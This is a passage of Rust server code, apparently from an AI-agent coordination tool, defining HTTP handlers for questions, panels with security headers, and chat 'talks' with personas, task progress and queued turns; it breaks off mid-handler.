7681 }
7682}
7683
7684#[derive(Debug, Deserialize)]
7686#[serde(deny_unknown_fields)]
7687struct NewSay {
7688 body: String,
7689}
7690
7691async fn question_say(
7701 State(ui): State<Arc<Ui>>,
7702 Path(id): Path<String>,
7703 body: std::result::Result<Json<NewSay>, JsonRejection>,
7704) -> ApiResult<Json<QuestionView>> {
7705 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
7706 blocking(move || {
7707 let id = resolve_question(&ui.questions, &id)?;
7708 let q = ui
7709 .questions
7710 .get(&id)
7711 .map_err(|e| ApiError::from(e).with_status(StatusCode::INTERNAL_SERVER_ERROR))?;
7712 if !q.status.open() {
7713 return Err(ApiError::conflict(format!(
7717 "question {} is already {}",
7718 q.short(),
7719 q.status.as_str()
7720 )));
7721 }
7722 let cfg = deputy_config(&ui.repo);
7725 let (q, ()) = ui
7726 .questions
7727 .update(&q.id, |r| {
7728 if body.body.trim().is_empty() {
7729 return r.say(body.body);
7730 }
7731 crate::question_delivery::require(&ui.questions, r, cfg.as_ref())?;
7732 r.say(body.body)
7733 })
7734 .map_err(question_text_error)?;
7735 let (tasks, talks, watches) =
7736 question_origin_inputs(&ui, std::slice::from_ref(&q)).unwrap_or_default();
7737 Ok(Json(
7738 QuestionView::of(q, &ui.questions, cfg.as_ref()).with_origin(&tasks, &talks, &watches),
7739 ))
7740 })
7741 .await
7742}
7743
7744async fn admitted<T: Send + 'static>(
7747 admission: AdmissionGuard,
7748 work: impl Future<Output = ApiResult<T>> + Send + 'static,
7749) -> ApiResult<T> {
7750 tokio::spawn(async move {
7751 let result = work.await;
7752 drop(admission);
7753 result
7754 })
7755 .await
7756 .map_err(|error| ApiError::internal(format!("work admission failed: {error}")))?
7757}
7758
7759async fn question_consult(
7768 State(ui): State<Arc<Ui>>,
7769 Path(id): Path<String>,
7770) -> ApiResult<(StatusCode, Json<QuestionView>)> {
7771 let admission = ui.begin_admission()?;
7772 admitted(admission, async move {
7773 let (q, tasks, talks, watches, talk, cfg) = blocking({
7774 let ui = Arc::clone(&ui);
7775 move || {
7776 let id = resolve_question(&ui.questions, &id)?;
7777 let q = ui.questions.get(&id).map_err(|e| {
7778 ApiError::from(e).with_status(StatusCode::INTERNAL_SERVER_ERROR)
7779 })?;
7780 if !q.status.open() {
7781 return Err(ApiError::conflict(format!(
7782 "question {} is already {}",
7783 q.short(),
7784 q.status.as_str()
7785 )));
7786 }
7787 let (tasks, talks, watches) =
7788 question_origin_inputs(&ui, std::slice::from_ref(&q))?;
7789 let Some(talk) = crate::consult::origin_talk(&tasks, &talks, &q) else {
7790 return Err(ApiError::conflict(format!(
7791 "question {} has no chat to ask",
7792 q.short()
7793 )));
7794 };
7795 let cfg = if q.consult.is_none() {
7799 Some(Config::discover(&talk.repo, None)?.0)
7800 } else {
7801 None
7802 };
7803 Ok((q, tasks, talks, watches, talk, cfg))
7804 }
7805 })
7806 .await?;
7807 let _publication = crate::consult::publication_guard(&ui.talks, &talk.id)
7808 .await
7809 .map_err(ApiError::from)?;
7810 let (view, reclaimed, submitted) = blocking({
7811 let ui = Arc::clone(&ui);
7812 move || {
7813 let fresh = crate::consult::begin(&ui.questions, &ui.talks, &q, &talk)?;
7814 let claim = if fresh {
7815 match ui.begin_queued_talk_turn(&talk.id)? {
7816 Some(turn_guard) => {
7817 let talk = ui.talks.get(&talk.id)?;
7818 let cfg = match cfg {
7819 Some(cfg) => cfg,
7820 None => Config::discover(&talk.repo, None)?.0,
7821 };
7822 Some((talk, cfg, turn_guard))
7823 }
7824 None => None,
7825 }
7826 } else {
7827 None
7828 };
7829 let q = ui.questions.get(&q.id)?;
7830 let cfg = deputy_config(&ui.repo);
7831 let view = QuestionView::of(q, &ui.questions, cfg.as_ref())
7832 .with_origin(&tasks, &talks, &watches);
7833 Ok((view, claim, fresh.then_some(talk.id)))
7834 }
7835 })
7836 .await?;
7837 #[cfg(not(test))]
7838 {
7839 if let Some(id) = submitted {
7840 crate::consult::spawn_turn(&ui.talks, &id)
7841 .await
7842 .map_err(ApiError::from)?;
7843 }
7844 drop(reclaimed);
7845 }
7846 #[cfg(test)]
7847 let _ = submitted;
7848 #[cfg(test)]
7849 if let Some((talk, cfg, turn_guard)) = reclaimed {
7850 let talks = ui.talks.clone();
7851 let id = talk.id.clone();
7852 tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
7853 }
7854 Ok((StatusCode::ACCEPTED, Json(view)))
7855 })
7856 .await
7857}
7858
7859fn resolve_question(store: &Questions, id: &str) -> ApiResult<String> {
7861 if plain_record_id(id) && store.path_of(id).is_file() {
7862 return Ok(id.to_owned());
7863 }
7864 pick(
7865 store.list().into_iter().map(|q| q.id).collect(),
7866 id,
7867 "question",
7868 )
7869}
7870
7871async fn question_panel(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<Response> {
7886 blocking(move || {
7887 let id = resolve_question(&ui.questions, &id)?;
7888 let Some(html) = ui.questions.panel_html(&id) else {
7889 return Err(ApiError::not_found(format!("question {id} has no panel")));
7890 };
7891 Ok(panel_response(
7892 "text/html; charset=utf-8",
7893 false,
7894 html.into_bytes(),
7895 ))
7896 })
7897 .await
7898}
7899
7900async fn question_asset(
7928 State(ui): State<Arc<Ui>>,
7929 Path((id, name)): Path<(String, String)>,
7930) -> ApiResult<Response> {
7931 if !crate::ask::valid_asset_name(&name) {
7934 return Err(ApiError::bad_request(format!(
7935 "`{name}` is not a usable asset name"
7936 )));
7937 }
7938 blocking(move || {
7939 let id = resolve_question(&ui.questions, &id)?;
7940 let asset = ui
7941 .questions
7942 .panel_asset(&id, &name)
7943 .map_err(|e| ApiError::bad_request(format!("{e:#}")))?;
7944 let Some(bytes) = asset else {
7945 return Err(ApiError::not_found(format!(
7946 "question {id} has no asset `{name}`"
7947 )));
7948 };
7949 Ok(panel_response(
7950 asset_content_type(&name),
7951 is_svg(&name),
7952 bytes,
7953 ))
7954 })
7955 .await
7956}
7957
7958fn asset_content_type(name: &str) -> &'static str {
7971 match extension(name).as_deref() {
7972 Some("png") => "image/png",
7973 Some("jpg" | "jpeg") => "image/jpeg",
7974 Some("gif") => "image/gif",
7975 Some("webp") => "image/webp",
7976 Some("svg") => "image/svg+xml",
7977 Some("css") => "text/css; charset=utf-8",
7978 Some("txt") => "text/plain; charset=utf-8",
7979 _ => "application/octet-stream",
7980 }
7981}
7982
7983fn is_svg(name: &str) -> bool {
7986 extension(name).as_deref() == Some("svg")
7987}
7988
7989fn extension(name: &str) -> Option<String> {
7991 name.rsplit_once('.')
7992 .map(|(_, ext)| ext.to_ascii_lowercase())
7993}
7994
7995fn panel_response(content_type: &'static str, download: bool, body: Vec<u8>) -> Response {
8012 let mut res = (
8013 [
8014 (header::CONTENT_TYPE, content_type),
8015 (header::CONTENT_SECURITY_POLICY, PANEL_CSP),
8016 (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
8017 (header::REFERRER_POLICY, "no-referrer"),
8018 ],
8019 body,
8020 )
8021 .into_response();
8022 if download {
8023 res.headers_mut().insert(
8024 header::CONTENT_DISPOSITION,
8025 HeaderValue::from_static("attachment"),
8026 );
8027 }
8028 res
8029}
8030
8031#[derive(Debug, Serialize)]
8037struct ChatApproval {
8038 question: String,
8039 target: crate::merge_decision::Target,
8040}
8041
8042#[derive(Debug, Serialize)]
8043struct TalkView {
8044 #[serde(flatten)]
8045 talk: Talk,
8046 turn_bodies_md: Vec<Vec<md::Node>>,
8047 turn_messages_md: Vec<Vec<Option<Vec<md::Node>>>>,
8049 pending_messages_md: Vec<Option<Vec<md::Node>>>,
8050 merge_approvals: Vec<ChatApproval>,
8051 thinking: bool,
8059 context: talk::ContextUsage,
8063 operator_name: Option<String>,
8066 persona_name: Option<String>,
8068 persona_avatar: String,
8071 operator_avatar: String,
8073 magi_avatar: String,
8074}
8075
8076impl TalkView {
8077 fn new(talk: Talk, thinking: bool, ui: &Ui) -> Self {
8080 let cfg = Config::discover(&talk.repo, None).ok().map(|(cfg, _)| cfg);
8081 Self::with_config(talk, thinking, cfg.as_ref(), &ui.home, &ui.references)
8082 }
8083
8084 fn with_config(
8087 talk: Talk,
8088 thinking: bool,
8089 cfg: Option<&Config>,
8090 home: &FsPath,
8091 cache: &id_links::IndexCache,
8092 ) -> Self {
8093 let references = cache.for_talk(home, &talk);
8094 Self::with_references(talk, thinking, cfg, home, &references)
8095 }
8096
8097 fn with_references(
8098 mut talk: Talk,
8099 thinking: bool,
8100 cfg: Option<&Config>,
8101 home: &FsPath,
8102 references: &id_links::IdIndex,
8103 ) -> Self {
8104 let snapshot = talk.clone();
8106 for (index, turn) in talk.turns.iter_mut().enumerate() {
8107 let original = &snapshot.turns[index];
8108 if turn.messages.is_empty() {
8109 if let Some(display) = talk::notice_display(&snapshot, original, None) {
8110 turn.messages.push(talk::Message {
8111 sender: Some(talk::Sender::Magi),
8112 body: original.body.clone(),
8113 display: Some(display),
8114 attachments: original.attachments.clone(),
8115 reply: None,
8116 });
8117 }
8118 } else {
8119 for (i, message) in turn.messages.iter_mut().enumerate() {
8120 message.display =
8121 talk::notice_display(&snapshot, original, original.messages.get(i));
8122 if message.display.is_some() {
8123 message.sender = Some(talk::Sender::Magi);
8124 }
8125 }
8126 }
8127 }
8128 for message in &mut talk.pending_messages {
8129 if message.display.is_none()
8130 && (message.sender == Some(talk::Sender::Magi)
8131 || snapshot
8132 .completion_notices
8133 .iter()
8134 .any(|r| r.notice == message.body))
8135 {
8136 message.display = crate::prompt::legacy_notice_display(&message.body);
8137 if message.display.is_some() {
8138 message.sender = Some(talk::Sender::Magi);
8139 }
8140 }
8141 }
8142 if talk.pending_messages.is_empty()
8143 && snapshot
8144 .completion_notices
8145 .iter()
8146 .any(|r| r.notice == talk.pending)
8147 && let Some(display) = crate::prompt::legacy_notice_display(&talk.pending)
8148 {
8149 talk.pending_messages.push(talk::Message {
8150 sender: Some(talk::Sender::Magi),
8151 display: Some(display),
8152 body: talk.pending.clone(),
8153 attachments: talk.pending_attachments.clone(),
8154 reply: None,
8155 });
8156 }
8157 let excerpts: Vec<Vec<Option<String>>> = talk
8158 .turns
8159 .iter()
8160 .map(|turn| {
8161 turn.messages
8162 .iter()
8163 .map(|m| {
8164 m.display
8165 .as_ref()
8166 .map(|d| d.facts.chars().take(240).collect())
8167 })
8168 .collect()
8169 })
8170 .collect();
8171 for turn in &mut talk.turns {
8172 let provenance = talk::sender(turn, None);
8173 turn.sender = Some(provenance);
8174 for message in &mut turn.messages {
8175 message.sender = Some(message.sender.unwrap_or(provenance));
8176 }
8177 }
8178 let senders: Vec<Vec<talk::Sender>> = talk
8180 .turns
8181 .iter()
8182 .map(|turn| {
8183 if turn.messages.is_empty() {
8184 vec![talk::sender(turn, None)]
8185 } else {
8186 turn.messages
8187 .iter()
8188 .map(|m| talk::sender(turn, Some(m)))
8189 .collect()
8190 }
8191 })
8192 .collect();
8193 for reply in talk
8194 .turns
8195 .iter_mut()
8196 .flat_map(|t| t.messages.iter_mut())
8197 .chain(talk.pending_messages.iter_mut())
8198 .filter_map(|m| m.reply.as_mut())
8199 {
8200 if let Some(Some(excerpt)) = excerpts
8201 .get(reply.target.turn)
8202 .and_then(|ms| ms.get(reply.target.message))
8203 {
8204 reply.excerpt = excerpt.clone();
8205 reply.sender = Some(talk::Sender::Magi);
8206 }
8207 if reply.sender.is_none() {
8208 reply.sender = senders
8209 .get(reply.target.turn)
8210 .and_then(|messages| messages.get(reply.target.message))
8211 .copied();
8212 }
8213 }
8214 let context = talk::context_usage(&talk, cfg);
8215 let mut turn_bodies_md: Vec<Vec<md::Node>> = talk
8216 .turns
8217 .iter()
8218 .map(|turn| md::to_nodes(&turn.body, &md::ImageBase::None))
8219 .collect();
8220 let mut turn_messages_md: Vec<Vec<Option<Vec<md::Node>>>> = talk
8221 .turns
8222 .iter()
8223 .map(|turn| {
8224 if turn.messages.is_empty() {
8225 vec![notice_markdown(talk::sender(turn, None), &turn.body, None)]
8226 } else {
8227 turn.messages
8228 .iter()
8229 .map(|message| {
8230 notice_markdown(
8231 message.sender.unwrap_or(talk::Sender::Operator),
8232 &message.body,
8233 message.display.as_ref(),
8234 )
8235 })
8236 .collect()
8237 }
8238 })
8239 .collect();
8240 let mut pending_messages_md: Vec<Option<Vec<md::Node>>> = talk
8241 .pending_messages
8242 .iter()
8243 .map(|message| {
8244 notice_markdown(
8245 message.sender.unwrap_or(talk::Sender::Operator),
8246 &message.body,
8247 message.display.as_ref(),
8248 )
8249 })
8250 .collect();
8251 for nodes in &mut turn_bodies_md {
8252 references.markdown(nodes);
8253 }
8254 for nodes in turn_messages_md
8255 .iter_mut()
8256 .flatten()
8257 .chain(pending_messages_md.iter_mut())
8258 .flatten()
8259 {
8260 references.markdown(nodes);
8261 }
8262 let specs = cfg.map_or(&[][..], |c| &c.talk.personas[..]);
8263 let persona_name = persona::find(specs, &talk.persona)
8264 .filter(|p| !p.is_default())
8265 .map(|p| p.name);
8266 let mut avatar_persona = persona::find(specs, &talk.persona)
8267 .unwrap_or_else(|| persona::find(specs, persona::DEFAULT_ID).expect("default"));
8268 if avatar_persona.id != talk.persona
8270 && read_icon_file(&avatar_setting_path(home, Some(&talk.persona))).is_some()
8271 {
8272 avatar_persona.id.clone_from(&talk.persona);
8273 avatar_persona.icon = None;
8274 }
8275 let persona_avatar = avatar_url(home, &talk.id, &avatar_persona);
8276 let approvals_store = ask::Questions::at(home.join("questions"));
8277 let merge_approvals = talk
8278 .notified
8279 .iter()
8280 .filter_map(|key| key.strip_prefix("question:"))
8281 .filter_map(|id| approvals_store.get(id).ok())
8282 .filter(|q| crate::task_chat::approval_offered(&talk, q))
8283 .filter_map(|q| {
8284 Some(ChatApproval {
8285 question: q.id,
8286 target: q.merge_target?,
8287 })
8288 })
8289 .collect();
8290 let operator_name = cfg.and_then(|c| c.talk.operator_name()).map(str::to_owned);
8291 Self {
8292 turn_bodies_md,
8293 turn_messages_md,
8294 pending_messages_md,
8295 merge_approvals,
8296 thinking,
8297 context,
8298 operator_name,
8299 persona_name,
8300 persona_avatar,
8301 magi_avatar: magi_icon_url(home),
8302 operator_avatar: operator_icon_url(home),
8303 talk,
8304 }
8305 }
8306}
8307
8308fn notice_markdown(
8310 sender: talk::Sender,
8311 body: &str,
8312 display: Option<&crate::prompt::NoticeDisplay>,
8313) -> Option<Vec<md::Node>> {
8314 if sender != talk::Sender::Magi {
8315 return None;
8316 }
8317 let text = if let Some(display) = display {
8318 display.facts.as_str()
8319 } else {
8320 if crate::prompt::is_completion_notice(body)
8323 || body.starts_with(&format!("# {}\n", crate::prompt::CHAT_CONSULT_HEADING))
8324 {
8325 return None;
8326 }
8327 body.strip_prefix("magi: ").unwrap_or(body)
8328 };
8329 Some(md::to_nodes(text, &md::ImageBase::None))
8330}
8331
8332#[derive(Debug, Serialize)]
8337struct TalkDetailView {
8338 #[serde(flatten)]
8339 view: TalkView,
8340 tasks: Vec<TaskView>,
8341 task_progress: TalkTaskProgress,
8342 roster: Vec<RosterEntry>,
8345 personas: Vec<PersonaEntry>,
8348}
8349
8350#[derive(Debug, Serialize)]
8352struct TalkTaskProgress {
8353 state: &'static str,
8354 total: usize,
8355 done: usize,
8356 counts: std::collections::BTreeMap<&'static str, usize>,
8357 unfinished_ids: Vec<String>,
8358}
8359
8360fn talk_task_progress(tasks: &[Task]) -> TalkTaskProgress {
8361 let mut counts = std::collections::BTreeMap::from([
8362 ("queued", 0),
8363 ("running", 0),
8364 ("done", 0),
8365 ("failed", 0),
8366 ("held", 0),
8367 ("blocked", 0),
8368 ("parked", 0),
8369 ]);
8370 let mut unfinished_ids = Vec::new();
8371 for task in tasks {
8372 *counts.entry(task.status.as_str()).or_default() += 1;
8373 if task.status != TaskStatus::Done {
8374 unfinished_ids.push(task.id.clone());
8375 }
8376 }
8377 TalkTaskProgress {
8378 state: if tasks.is_empty() {
8379 "none"
8380 } else if unfinished_ids.is_empty() {
8381 "complete"
8382 } else {
8383 "incomplete"
8384 },
8385 total: tasks.len(),
8386 done: tasks.len() - unfinished_ids.len(),
8387 counts,
8388 unfinished_ids,
8389 }
8390}
8391
8392#[derive(Debug, Serialize)]
8394struct PersonaEntry {
8395 id: String,
8396 name: String,
8397 avatar: String,
8399}
8400
8401#[derive(Debug, Serialize)]
8403struct RosterEntry {
8404 id: String,
8405 kind: AgentKind,
8406 runnable: bool,
8408}
8409
8410async fn talks_list(
8415 State(ui): State<Arc<Ui>>,
8416 Query(q): Query<ListQuery>,
8417) -> ApiResult<Json<Vec<TalkView>>> {
8418 blocking(move || {
8419 let mut configs: HashMap<PathBuf, Option<Config>> = HashMap::new();
8420 let talks = q.ids.as_ref().map_or_else(
8421 || ui.talks.list(),
8422 |ids| {
8423 ids.split(',')
8424 .filter(|id| plain_record_id(id))
8425 .filter_map(|id| ui.talks.get(id).ok())
8426 .collect()
8427 },
8428 );
8429 let references = if talks.iter().any(id_links::has_references) {
8430 ui.references.get(
8431 &ui.runs,
8432 &ui.queue,
8433 &ui.questions,
8434 &ui.talks,
8435 talks.iter().any(id_links::has_findings),
8436 )
8437 } else {
8438 Arc::new(id_links::IdIndex::default())
8439 };
8440 Ok(Json(
8441 talks
8442 .into_iter()
8443 .filter(|talk| q.contains(&talk.id))
8444 .map(|talk| {
8445 let thinking = ui.is_thinking(&talk.id);
8446 let cfg = configs
8447 .entry(talk.repo.clone())
8448 .or_insert_with(|| Config::discover(&talk.repo, None).ok().map(|(c, _)| c));
8449 TalkView::with_references(talk, thinking, cfg.as_ref(), &ui.home, &references)
8450 })
8451 .collect(),
8452 ))
8453 })
8454 .await
8455}
8456
8457#[derive(Debug, Default, Deserialize)]
8462#[serde(default)]
8463struct NewTalk {
8464 agent: Option<String>,
8465 repo: Option<PathBuf>,
8466 preferred_agent: Option<serde_json::Value>,
8470 persona: Option<serde_json::Value>,
8471 implementers: Option<serde_json::Value>,
8472}
8473
8474async fn talk_post(
8477 State(ui): State<Arc<Ui>>,
8478 body: std::result::Result<Json<NewTalk>, JsonRejection>,
8479) -> ApiResult<impl IntoResponse> {
8480 let body = match body {
8484 Ok(Json(body)) => body,
8485 Err(JsonRejection::MissingJsonContentType(_)) => NewTalk::default(),
8486 Err(e) => return Err(ApiError::bad_request(e.body_text())),
8487 };
8488 let repo = body.repo.clone().unwrap_or_else(|| ui.repo.clone());
8489 let cfg = config_for(&repo).await?;
8490 let view = blocking(move || {
8491 let preferred = talk::Preferred {
8492 agent: body
8493 .preferred_agent
8494 .as_ref()
8495 .and_then(|v| v.as_str())
8496 .map(str::to_owned),
8497 persona: body
8498 .persona
8499 .as_ref()
8500 .and_then(|v| v.as_str())
8501 .map(str::to_owned),
8502 implementers: body.implementers.as_ref().and_then(|v| v.as_i64()),
8503 };
8504 let talk = talk::begin_with(&ui.talks, &cfg, repo, body.agent.as_deref(), &preferred)?;
8505 let thinking = ui.is_thinking(&talk.id);
8506 Ok(TalkView::new(talk, thinking, &ui))
8507 })
8508 .await?;
8509 Ok((StatusCode::CREATED, Json(view)))
8510}
8511
8512async fn talk_core(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<Json<TalkView>> {
8514 blocking(move || {
8515 let id = resolve_talk(&ui.talks, &id)?;
8516 let talk = ui.talks.get(&id)?;
8517 let thinking = ui.is_thinking(&id);
8518 Ok(Json(TalkView::with_references(
8521 talk,
8522 thinking,
8523 None,
8524 &ui.home,
8525 &id_links::IdIndex::default(),
8526 )))
8527 })
8528 .await
8529}
8530
8531async fn talk_sections(
8532 State(ui): State<Arc<Ui>>,
8533 Path(id): Path<String>,
8534) -> ApiResult<Json<serde_json::Value>> {
8535 blocking(move || {
8536 let id = resolve_talk(&ui.talks, &id)?;
8537 let talk = ui.talks.get(&id)?;
8538 let tasks = ui.find_tasks_for_talk(&talk.id)?;
8539 let task_progress = talk_task_progress(&tasks);
8540 let tasks: Vec<_> = tasks
8541 .into_iter()
8542 .map(|task| {
8543 serde_json::json!({
8544 "id": task.id, "title": task.title, "status_str": task.status.as_str(),
8545 })
8546 })
8547 .collect();
8548 let cfg = Config::discover(&talk.repo, None).ok().map(|(cfg, _)| cfg);
8549 let roster: Vec<_> = cfg
8550 .as_ref()
8551 .map(|cfg| {
8552 cfg.agents
8553 .iter()
8554 .map(|a| RosterEntry {
8555 id: a.id.clone(),
8556 kind: a.kind,
8557 runnable: agent::installed(a),
8558 })
8559 .collect()
8560 })
8561 .unwrap_or_default();
8562 let specs = cfg
8563 .as_ref()
8564 .map(|cfg| cfg.talk.personas.clone())
8565 .unwrap_or_default();
8566 let personas: Vec<_> = persona::catalog(&specs)
8567 .into_iter()
8568 .map(|p| PersonaEntry {
8569 avatar: avatar_url(&ui.home, &talk.id, &p),
8570 id: p.id,
8571 name: p.name,
8572 })
8573 .collect();
8574 let active_persona = persona::find(&specs, &talk.persona)
8575 .unwrap_or_else(|| persona::find(&specs, persona::DEFAULT_ID).expect("default"));
8576 let persona_name = (!active_persona.is_default()).then(|| active_persona.name.clone());
8577 let persona_avatar = avatar_url(&ui.home, &talk.id, &active_persona);
8578 Ok(Json(serde_json::json!({
8579 "tasks": tasks, "task_progress": task_progress,
8580 "roster": roster, "personas": personas,
8581 "context": talk::context_usage(&talk, cfg.as_ref()),
8582 "context_for": talk.updated_at,
8583 "operator_name": cfg.as_ref().and_then(|cfg| cfg.talk.operator_name()),
8584 "persona_name": persona_name,
8585 "persona_avatar": persona_avatar,
8586 })))
8587 })
8588 .await
8589}
8590
8591async fn talk_detail(
8593 State(ui): State<Arc<Ui>>,
8594 Path(id): Path<String>,
8595) -> ApiResult<Json<TalkDetailView>> {
8596 blocking(move || {
8597 let id = resolve_talk(&ui.talks, &id)?;
8598 let talk = ui.talks.get(&id)?;
8599 let thinking = ui.is_thinking(&talk.id);
8600 let tasks = ui.find_tasks_for_talk(&talk.id)?;
8601 let task_progress = talk_task_progress(&tasks);
8602 let tasks = tasks.into_iter().map(TaskView::from).collect();
8603 let cfg = Config::discover(&talk.repo, None).ok().map(|(cfg, _)| cfg);
8604 let roster = cfg
8605 .as_ref()
8606 .map(|cfg| {
8607 cfg.agents
8608 .iter()
8609 .map(|a| RosterEntry {
8610 id: a.id.clone(),
8611 kind: a.kind,
8612 runnable: agent::installed(a),
8613 })
8614 .collect()
8615 })
8616 .unwrap_or_default();
8617 let specs = cfg
8618 .as_ref()
8619 .map(|cfg| cfg.talk.personas.clone())
8620 .unwrap_or_default();
8621 let personas = persona::catalog(&specs)
8622 .into_iter()
8623 .map(|p| PersonaEntry {
8624 avatar: avatar_url(&ui.home, &talk.id, &p),
8625 id: p.id,
8626 name: p.name,
8627 })
8628 .collect();
8629 Ok(Json(TalkDetailView {
8630 view: TalkView::with_config(talk, thinking, cfg.as_ref(), &ui.home, &ui.references),
8631 tasks,
8632 task_progress,
8633 roster,
8634 personas,
8635 }))
8636 })
8637 .await
8638}
8639
8640#[derive(Debug, Default, Deserialize)]
8646#[serde(default, deny_unknown_fields)]
8647struct NewTalkTurn {
8648 reply_to: Option<talk::ReplyTarget>,
8649 text: String,
8650 attachments: Vec<String>,
8651}
8652
8653#[derive(Debug, Deserialize)]
8654#[serde(deny_unknown_fields)]
8655struct EditTalkPending {
8656 #[serde(default)]
8657 message: Option<usize>,
8658 text: String,
8659 expected_text: String,
8660 expected_attachments: Vec<String>,
8661}
8662
8663#[derive(Debug, Deserialize)]
8664#[serde(deny_unknown_fields)]
8665struct ClearTalkPending {
8666 expected_text: String,
8667 expected_attachments: Vec<String>,
8668}
8669
8670async fn talk_say(
8682 State(ui): State<Arc<Ui>>,
8683 Path(id): Path<String>,
8684 body: std::result::Result<Json<NewTalkTurn>, JsonRejection>,
8685) -> ApiResult<(StatusCode, Json<TalkView>)> {
8686 let admission = ui.begin_admission()?;
8687 admitted(admission, async move {
8688 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
8689 if body.text.trim().is_empty() && body.attachments.is_empty() {
8690 return Err(ApiError::bad_request("say something"));
8691 }
8692
8693 let id = {
8694 let ui = Arc::clone(&ui);
8695 let asked = id.clone();
8696 blocking(move || resolve_talk(&ui.talks, &asked)).await?
8697 };
8698 {
8702 let ui = Arc::clone(&ui);
8703 let id = id.clone();
8704 blocking(move || {
8705 let talk = ui.talks.get(&id)?;
8706 if !talk.status.open() {
8707 return Err(ApiError::conflict(format!(
8708 "talk {} is {} and takes no more turns",
8709 talk.short(),
8710 talk.status.as_str()
8711 )));
8712 }
8713 Ok(())
8714 })
8715 .await?;
8716 }
8717
8718 let attachments = {
8723 let ui = Arc::clone(&ui);
8724 let id = id.clone();
8725 let ids = body.attachments.clone();
8726 blocking(move || {
8727 ids.into_iter()
8728 .map(|att_id| {
8729 ui.talks.attachment_meta(&id, &att_id)?.ok_or_else(|| {
8730 ApiError::bad_request(format!("unknown attachment `{att_id}`"))
8731 })
8732 })
8733 .collect::<ApiResult<Vec<talk::Attachment>>>()
8734 })
8735 .await?
8736 };
8737 let _publication = crate::consult::publication_guard(&ui.talks, &id)
8738 .await.map_err(ApiError::from)?;
8739
8740 let start = {
8745 let ui = Arc::clone(&ui);
8746 let id = id.clone();
8747 blocking(move || ui.begin_talk_turn_unless_pending(&id)).await?
8748 };
8749 let turn_guard = match start {
8750 TalkTurnStart::Claimed(turn_guard) => turn_guard,
8751 TalkTurnStart::Pending => {
8752 return Err(ApiError::conflict(
8753 "a queued draft is waiting; resume it, edit it, or clear it before sending another message",
8754 ));
8755 }
8756 TalkTurnStart::Foreign => {
8757 return Err(ApiError::conflict(
8758 "a turn is already running in another process; try again when it has finished",
8759 ));
8760 }
8761 TalkTurnStart::Busy => {
8762 let (tx, rx) = tokio::sync::oneshot::channel();
8778 tokio::spawn({
8779 let ui = Arc::clone(&ui);
8780 let id = id.clone();
8781 let said = body.text.clone();
8782 let reply_to = body.reply_to.clone();
8783 async move {
8784 let written = blocking({
8785 let ui = Arc::clone(&ui);
8786 let id = id.clone();
8787 move || {
8788 let mut talk = ui.talks.get(&id)?;
8789 #[cfg(test)]
8794 if let Some(gate) = ui
8795 .busy_queue_gate
8796 .lock()
8797 .unwrap_or_else(PoisonError::into_inner)
8798 .take()
8799 {
8800 let _ = gate.reached.send(());
8801 let _ = gate.release.recv();
8802 }
8803 if let Err(error) = talk::queue_reply(
8804 &mut talk,
8805 &ui.talks,
8806 &said,
8807 attachments,
8808 reply_to,
8809 ) {
8810 if let Ok(fresh) = ui.talks.get(&id) {
8811 if !fresh.status.open() {
8812 return Err(ApiError::conflict(format!(
8813 "talk {} is {} and takes no more turns",
8814 fresh.short(),
8815 fresh.status.as_str()
8816 )));
8817 }
8818 }
8819 return Err(
8820 if error.to_string().contains("invalid reply target") {
8821 ApiError::bad_request("invalid reply target")
8822 } else {
8823 ApiError::from(error)
8824 },
8825 );
8826 }
8827 let claim = match ui.begin_queued_talk_turn(&id)? {
8838 Some(turn_guard) => {
8839 let (cfg, _) = Config::discover(&talk.repo, None)?;
8840 Some((talk.clone(), cfg, turn_guard))
8841 }
8842 None => None,
8843 };
8844 let thinking = ui.is_thinking(&id);
8845 Ok((TalkView::new(talk, thinking, &ui), claim))
8846 }
8847 })
8848 .await;
8849 #[cfg(not(test))]
8850 {
8851 match written {
8852 Ok((view, reclaimed)) => {
8853 let launched = crate::consult::spawn_turn(&ui.talks, &id).await;
8854 drop(reclaimed);
8855 match launched {
8856 Ok(_) => { let _ = tx.send(Ok(view)); }
8857 Err(error) => { let _ = tx.send(Err(ApiError::from(error))); }
8858 }
8859 }
8860 Err(error) => { let _ = tx.send(Err(error)); }
8861 }
8862 }
8863 #[cfg(test)]
8864 {
8865 let (view, reclaimed) = match written {
8866 Ok(pair) => pair,
8867 Err(e) => {
8868 let _ = tx.send(Err(e));
8873 return;
8874 }
8875 };
8876 let _ = tx.send(Ok(view));
8879 if let Some((talk, cfg, turn_guard)) = reclaimed {
8880 let talks = ui.talks.clone();
8881 drain_loop(talk, talks, cfg, id, turn_guard).await;
8882 }
8883 }
8884 }
8885 });
8886 let view = rx
8887 .await
8888 .map_err(|_| ApiError::internal("the talk turn task ended without answering"))??;
8889 return Ok((StatusCode::ACCEPTED, Json(view)));
8890 }
8891 };
8892
8893 let (talk, cfg) = {
8894 let ui = Arc::clone(&ui);
8895 let id = id.clone();
8896 blocking(move || {
8897 let talk = ui.talks.get(&id)?;
8898 let (cfg, _) = Config::discover(&talk.repo, None)?;
8899 Ok((talk, cfg))
8900 })
8901 .await?
8902 };
8903
8904 let talks = ui.talks.clone();
8905 let (tx, rx) = tokio::sync::oneshot::channel();
8920 tokio::spawn({
8921 #[cfg(test)]
8922 let ui = Arc::clone(&ui);
8923 let talks = talks.clone();
8924 let id = id.clone();
8925 let said = body.text.clone();
8926 let reply_to = body.reply_to.clone();
8927 let mut talk = talk.clone();
8928 async move {
8929 let recorded = blocking({
8930 let talks = talks.clone();
8931 move || {
8932 if let Err(error) =
8933 talk::record_reply(&mut talk, &talks, &said, attachments, reply_to)
8934 {
8935 if let Ok(fresh) = talks.get(&talk.id) {
8936 if !fresh.status.open() {
8937 return Err(ApiError::conflict(format!(
8938 "talk {} is {} and takes no more turns",
8939 fresh.short(),
8940 fresh.status.as_str()
8941 )));
8942 }
8943 }
8944 return Err(if error.to_string().contains("invalid reply target") {
8945 ApiError::bad_request("invalid reply target")
8946 } else {
8947 ApiError::from(error)
8948 });
8949 }
8950 Ok((said.trim().to_owned(), talk))
8956 }
8957 })
8958 .await;
8959 let (text, talk) = match recorded {
8960 Ok(pair) => pair,
8961 Err(e) => {
8962 let _ = tx.send(Err(e));
8966 return;
8967 }
8968 };
8969 #[cfg(not(test))]
8970 {
8971 let _ = (&cfg, &text);
